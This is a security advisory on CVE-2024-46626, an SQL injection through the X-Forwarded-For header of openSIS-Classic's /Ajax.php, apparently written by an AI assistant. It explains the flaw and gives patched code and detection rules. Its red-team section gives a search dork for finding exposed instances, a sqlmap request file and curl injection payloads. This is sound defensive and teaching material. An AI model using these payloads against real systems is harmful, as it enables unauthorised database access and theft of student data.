CVE-2024-46626

Executive Summary

CVE-2024-46626 is a critical SQL injection vulnerability discovered in OS4ED openSIS-Classic version 9.1. The flaw resides in the handling of the X-Forwarded-For HTTP header within the /Ajax.php endpoint. An authenticated attacker can inject arbitrary SQL commands through this header, leading to potential data exfiltration, modification, or complete database compromise. The vulnerability is publicly documented with a proof-of-concept (PoC) exploit, and a fix has been provided by the vendor via a pull request.

Supply Chain & Package Security

This vulnerability affects the openSIS-Classic PHP application, which is distributed as a self-hosted web application. There are no NPM, PyPI, Go, or Ruby packages involved. The risk is primarily to organizations that have deployed this software on their own infrastructure.

CVSS Breakdown & Threat Level

CVSS Score: 9.9 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network (N) - The attack is carried out over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - An attacker must have a valid user account.
• User Interaction (UI): None (N) - No user action is needed.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Full database read access is possible.
• Integrity (I): High (H) - Data can be modified or deleted.
• Availability (A): High (H) - Database availability can be impacted.

Threat Level: Critical. The low complexity and public availability of the exploit make this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the X-Forwarded-For header. The /Ajax.php script likely uses this header to log or track the client's IP address without proper sanitization. The injected payload is directly concatenated into a SQL query.

The exploit demonstrates three injection techniques:

1. Boolean-based blind: Uses EXTRACTVALUE to infer information based on true/false responses.
2. Error-based: Uses GTID_SUBSET to extract data through database error messages.
3. Time-based blind: Uses SLEEP() to infer information based on response delays.

The attack is performed by sending a crafted GET request to /Ajax.php with a malicious X-Forwarded-For header.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely resembles the following, where the X-Forwarded-For header is directly used in a SQL query without sanitization.

// Vulnerable code in /Ajax.php
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
$query = "INSERT INTO access_log (ip_address, timestamp) VALUES ('$ip', NOW())";
mysqli_query($conn, $query);

Patched Code (Conceptual): The fix involves using prepared statements or parameterized queries to safely handle the header value.

// Patched code in /Ajax.php
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
$stmt = $conn->prepare("INSERT INTO access_log (ip_address, timestamp) VALUES (?, NOW())");
$stmt->bind_param("s", $ip);
$stmt->execute();

The official fix is available in the pull request: https://github.com/OS4ED/openSIS-Classic/pull/322

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid user account on the openSIS instance.
• Network access to the target server.

Exploit Steps:

1. Identify Target: Use Shodan or Google dork intext:"openSIS is a product" to find vulnerable instances.
2. Authenticate: Log in with valid credentials to obtain a session cookie.
3. Craft Payload: Use the provided exploit code or a tool like sqlmap to inject malicious SQL.

Using the Provided Exploit (sqlmap): The exploit code from Exploit-DB can be used directly with sqlmap:

# Save the request to a file (request.txt)
cat > request.txt << EOF
GET /Ajax.php?modname=x HTTP/1.1
Host: target.com
X-Forwarded-For: 127.0.0.2*
Cookie: [your_session_cookie]
EOF

# Run sqlmap
sqlmap -r request.txt --batch --dbs

Manual Exploitation (Boolean-based):

# Test for boolean-based injection
curl -k -X GET "https://target.com/Ajax.php?modname=x" \
  -H "X-Forwarded-For: 127.0.0.2' AND 1=1-- -" \
  -b "[session_cookie]"

# If response is different from:
curl -k -X GET "https://target.com/Ajax.php?modname=x" \
  -H "X-Forwarded-For: 127.0.0.2' AND 1=2-- -" \
  -b "[session_cookie]"

Blue Team

Detection:

• Monitor for unusual X-Forwarded-For headers containing SQL keywords (e.g., AND, OR, SELECT, SLEEP).
• Alert on requests to /Ajax.php with a modname parameter that is not expected.
• Look for error messages in logs that contain SQL syntax errors.

Hunting:

• Search web server logs for requests to /Ajax.php with a modname parameter.
• Analyze the X-Forwarded-For header for patterns like ', --, or SLEEP().
• Correlate with database error logs for signs of injection attempts.

Prevention:

• Apply the vendor patch immediately.
• Implement a Web Application Firewall (WAF) rule to block malicious X-Forwarded-For headers.
• Ensure the application uses parameterized queries for all database interactions.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /Ajax.php with a modname parameter.
• X-Forwarded-For header containing SQL syntax (e.g., ', --, SLEEP, EXTRACTVALUE).
• Unusual response times (time-based blind injection).
• Database error messages in HTTP responses.

File IOCs:

• Modified or new files in the web root (e.g., webshells).
• Unusual entries in database logs.

Log IOCs:

• Web server logs showing requests to /Ajax.php with suspicious headers.
• Database logs showing failed queries or unexpected SLEEP commands.

Detection Engineering

YARA Rule

rule detect_sqli_x_forwarded_for {
    meta:
        description = "Detects SQL injection attempts in X-Forwarded-For header"
        author = "Valters IT"
        date = "2024-09-10"
        reference = "CVE-2024-46626"
    strings:
        $sqli1 = /X-Forwarded-For:.*['\"]\s*(AND|OR)\s+/i
        $sqli2 = /X-Forwarded-For:.*SLEEP\s*\(/i
        $sqli3 = /X-Forwarded-For:.*EXTRACTVALUE/i
        $sqli4 = /X-Forwarded-For:.*GTID_SUBSET/i
    condition:
        any of them
}

Sigma Rule

title: SQL Injection via X-Forwarded-For Header in openSIS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting CVE-2024-46626
author: Valters IT
date: 2024-09-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query: "/Ajax.php*"
        cs-headers: "X-Forwarded-For*"
    keywords:
        - "AND"
        - "OR"
        - "SLEEP("
        - "EXTRACTVALUE"
        - "GTID_SUBSET"
    condition: selection and keywords
falsepositives:
    - Legitimate use of these keywords in headers is extremely rare.
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-46626 SQL Injection via X-Forwarded-For"; flow:to_server; content:"/Ajax.php"; http_uri; content:"X-Forwarded-For"; http_header; pcre:"/X-Forwarded-For:[^\\r\\n]*(?:AND|OR|SLEEP\s*\(|EXTRACTVALUE|GTID_SUBSET)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply the Patch: Update to the latest version of openSIS-Classic that includes the fix from PR #322.
2. Restrict Access: If immediate patching is not possible, restrict access to /Ajax.php using a WAF or network ACLs.
3. Review Logs: Investigate web and database logs for signs of exploitation.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block SQL injection.
• Conduct regular security audits and penetration testing.
• Ensure all user inputs, including HTTP headers, are sanitized and validated.
• Use parameterized queries or prepared statements for all database interactions.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI Assistant. For questions or support, contact Secure Channels (Signal / Portal).

{/* [Security Hash: 96C060561BC9BE7D08A99978] */}